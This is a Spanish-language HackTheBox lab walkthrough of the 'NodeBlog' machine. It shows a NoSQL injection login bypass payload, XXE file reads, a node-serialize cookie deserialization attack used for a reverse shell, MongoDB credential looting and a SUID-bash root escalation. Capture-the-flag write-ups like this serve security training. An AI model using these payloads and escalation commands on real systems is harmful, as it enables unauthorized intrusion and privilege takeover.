Inicio HTB - NodeBlog
Entrada
Cancelar

HTB - NodeBlog

¡Hola! Vamos a resolver de la máquina NodeBlog de dificultad “Fácil” de la plataforma HackTheBox.

Técnicas Vistas:

  • NoSQL Injection (Authentication Bypass)
  • XXE File Read
  • NodeJS Deserialization Attack (IIFE Abusing)
  • Mongo Database Enumeration

Preparación Entorno


Antes de iniciar la fase de enumeración y reconocimiento procederemos a crear un directorio de trabajo con el nombre NodeBlog. Una vez creado accedemos al directorio y con la ayuda de la función que tenemos definida en la zshrc mkt crearemos cuatro directorios de trabajo nmap, content, exploits y scripts donde almacenaremos de una manera ordenada toda la información que vayamos recopilando de la máquina en función de su naturaleza.

1
2
3
function mkt(){
    mkdir {nmap,content,exploits,scripts}
}

Reconocimiento


Accedemos al directorio de trabajo nmap e iniciamos nuestra fase de reconocimiento realizando un ping a la IP de la máquina para comprobar que esté activa y detectamos su sistema operativo basándonos en el ttl de una traza ICMP.

1
2
3
4
5
6
7
❯ ping -c 1 10.10.11.139
PING 10.10.11.139 (10.10.11.139) 56(84) bytes of data.
64 bytes from 10.10.11.139: icmp_seq=1 ttl=63 time=38.3 ms

--- 10.10.11.139 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 38.334/38.334/38.334/0.000 ms

Identificamos que es una maquina Linux debido a su ttl (time to live) correspondiente a 63 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).

  • TTL => 64 Linux
  • TTL => 128 Windows

Continuamos con la enumeración de los 65535 puertos en la máquina.

1
2
3
4
5
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.139 -oG allPorts

PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 63
5000/tcp open  upnp    syn-ack ttl 63

Luego de identificar los puertos abiertos OPEN, se procede a escanear servicios y versiones que puedan estar corriendo en los puertos abiertos detectados.

1
2
3
4
5
6
7
8
9
10
11
nmap -sCV -p22,5000 10.10.11.139 -oN targeted

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
|   256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_  256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
5000/tcp open  http    Node.js (Express middleware)
|_http-title: Blog
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Reconocimiento Web


Iniciamos el reconocimiento del servicio web con la herramienta whatweb la cual nos muestra información sobre las tecnologías web que incluyen sistemas de gestión de contenido (CMS), plataformas de blogs, paquetes de estadísticas / análisis, bibliotecas JavaScript, servidores web y dispositivos integrados.

1
2
❯ whatweb http://10.10.11.139:5000
http://10.10.11.139:5000 [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, IP[10.10.11.139], Script[JavaScript], Title[Blog], X-Powered-By[Express], X-UA-Compatible[IE=edge]

Accedemos al servicio HTTP por le puerto 5000 y examinamos su contenido. Vemos lo que parece ser un artículo de un blog y un botón de login

Sabemos que estamos ante NodeJS por lo que trataremos de ver si es vulnerable a inyecciones NoSQL. Accedemos a PayloadAllTheThings para buscar posibles payloads

Accedemos al panel de login e interceptamos petición con BurpSuite. Cambiamos el Content-Type a application/json y aplicamos payload {"user":"admin", "password":{"$ne":"test"}}

Redirigimos respuesta a navegador y logramos hacer bypass del panel de login

Vemos un botón upload que nos permite subir ficheros. Creamos un archivo txt y tratamos de subirlo. Nos da un error, parece ser que el archivo tiene que estar en formato XML. Si observamos el código fuente del error podemos ver cómo debería ser la estructura correcta

Creamos un archivo XML según la estructura de ejemplo del error y la subimos

Vemos que cuando le envías una estructura XML válida la parsea correctamente según las etiquetas. Modificamos nuestro archivo agregándole las cabeceras necesarias para acontecer un ataque XXE, enviamos y vemos en el output del formulario que tenemos acceso al archivo /etc/passwd

Ya que tenemos capacidad de listar archivos de la máquina mediante XXE procedemos a listar puertos internos abiertos que inicialmente no son visibles de forma externa, para ello listamos el contenido del archivo /proc/net/tcp

Nos copiamos el contenido en nuestro equipo para filtrar la información obtenida

1
2
3
4
5
6
7
for port in $(cat data | awk '{print $2}' | awk '{print $2}' FS=":" | sort -u); do echo "[+] Port $port -> $(echo "obase=10; ibase=16; $port" | bc)"; done
[+] Port 0016 -> 22
[+] Port 0035 -> 53
[+] Port 6989 -> 27017
[+] Port BA9C -> 47772
[+] Port BA9E -> 47774
[+] Port BAA0 -> 47776

Sabemos que tenemos NodeJS corriendo el cual interpreta json. Si reproducimos deliberadamente un error de sintaxis en BurpSuite observamos en la respuesta rutas del sistema. Observamos una ruta interesante /opt/blog

Por convención es típico que en la raíz de proyectos en NodeJS contengan un archivo server.js el cual nos puede arrojar información interesante. Modificamos nuestro archivo XML para que nos muestre el contenido de /opt/blog/server.js

Nos llama la atención que se importa node-serialize. Vemos una función authenticated que recibe un parámetro c. La función se encarga de deserializar la información contenida en el parámetro c. Esto nos lleva a pensar que c son los datos serializados que se encuentran en la cookie de sesión. Buscamos en Google por ataques de deserialización para NodeJS y encontramos este recurso de OPSECX. Encontramos payload a sustituir en la cookie de sesión

Copiamos payload a decoder de Burpsuite, eliminamos saltos de línea y tabulaciones. Cambiamos el comando a ejecutar por ping -c 1 10.10.14.34 y codificamos en URL

Vamos a la página principal de la web y en el Inspector del navegador nos dirigimos a Almacenamiento -> Cookies y sustituimos el valor por el generado por Burpsuite. Con tcpdump nos ponemos en escucha de trazas ICMP y recargamos la web. Observamos que nos llegan las trazas ICMP

1
2
3
4
5
❯ tcpdump -i tun0 icmp -n
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
11:49:14.758083 IP 10.129.176.124 > 10.10.14.34: ICMP echo request, id 1, seq 1, length 64
11:49:14.758106 IP 10.10.14.34 > 10.129.176.124: ICMP echo reply, id 1, seq 1, length 64

Ya sabemos que tenemos capacidad de ejecución remota de comandos a través de un ataque de deserializción. Creamos index.html con oneliner para entablar reverse shell, lo compartimos a través de un servidor web con python, nos ponemos en escucha en el puerto 443. En el payload sustituimos el ping por un curl a nuestra dirección IP y sustitimos cookie de sesión. Al recargar la página obetenemos acceso a la máquina víctima

Somos usuario admin. Nos dirigimos a nuestro directorio personal pero no tenemos permisos para acceder sólo de lectura. Sin embargo somos los propietarios por lo que podemos cambiar permisos a nuestro antojo. Damos permisos de ejecución a la carpeta y ya podemos acceder y visualizar la flag de usuario

1
2
3
4
5
6
7
8
admin@nodeblog:/home$ ls admin/
user.txt
admin@nodeblog:/home$ cat admin/user.txt 
cat: admin/user.txt: Permission denied
admin@nodeblog:/home$ chmod +x admin/
admin@nodeblog:/home$ cd admin/
admin@nodeblog:~$ cat user.txt 
1a17087a8fedf11d***************

Escalada Privilegios


Anteriormente cuando filtramos los puertos internos abiertos vimos que el puerto 27017 estaba abierto. Es el puerto por defecto de MongoDB. Mediante el comando mongo accedemos a la consola de la base de datos

1
2
3
4
5
6
7
8
9
10
admin@nodeblog:~$ mongo
MongoDB shell version v3.6.8
connecting to: mongodb://127.0.0.1:27017
Implicit session: session { "id" : UUID("783344f4-3976-4db2-9403-29bb7ffdfee9") }
MongoDB server version: 3.6.8
Server has startup warnings: 
2022-12-14T12:37:01.867+0000 I CONTROL  [initandlisten] 
2022-12-14T12:37:01.869+0000 I CONTROL  [initandlisten] ** WARNING: Access control is not enabled for the database.
2022-12-14T12:37:01.869+0000 I CONTROL  [initandlisten] **          Read and write access to data and configuration is unrestricted.
2022-12-14T12:37:01.869+0000 I CONTROL  [initandlisten] 

Listando bases de datos encontramos blog. Listando colecciones vemos users. Listando el contenido encontramos unas credenciales

1
2
3
4
5
6
7
8
9
10
11
12
> show dbs
admin   0.000GB
blog    0.000GB
config  0.000GB
local   0.000GB
> use blog
switched to db blog
> show collections
articles
users
> db.users.find()
{ "_id" : ObjectId("61b7380ae5814df6030d2373"), "createdAt" : ISODate("2021-12-13T12:09:46.009Z"), "username" : "admin", "password" : "IppsecSaysPleaseSubscribe", "__v" : 0 }

Confirmamos que la password conrresponde al usuario admin. Listamos privilegios de sudo aportando la password encontrada y vemos que podemos ejecutar TODO

1
2
3
4
5
6
7
8
admin@nodeblog:~$ sudo -l
[sudo] password for admin: 
Matching Defaults entries for admin on nodeblog:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User admin may run the following commands on nodeblog:
    (ALL) ALL
    (ALL : ALL) ALL

Asignamos a la bash privilegios SUID y mediante bash -p nos lanzamos una bash con privilegios de root. La flag la encontramos en el directorio /root

1
2
3
4
5
6
admin@nodeblog:~$ sudo chmod u+s /bin/bash
admin@nodeblog:~$ bash -p
bash-5.0# whoami
root
bash-5.0# cat /root/root.txt 
8d41f47e8acc5d170****************

Hemos completado la máquina NodeBlog de HackTheBox!! Happy Hacking!!

Esta entrada está licenciada bajo CC BY 4.0 por el autor.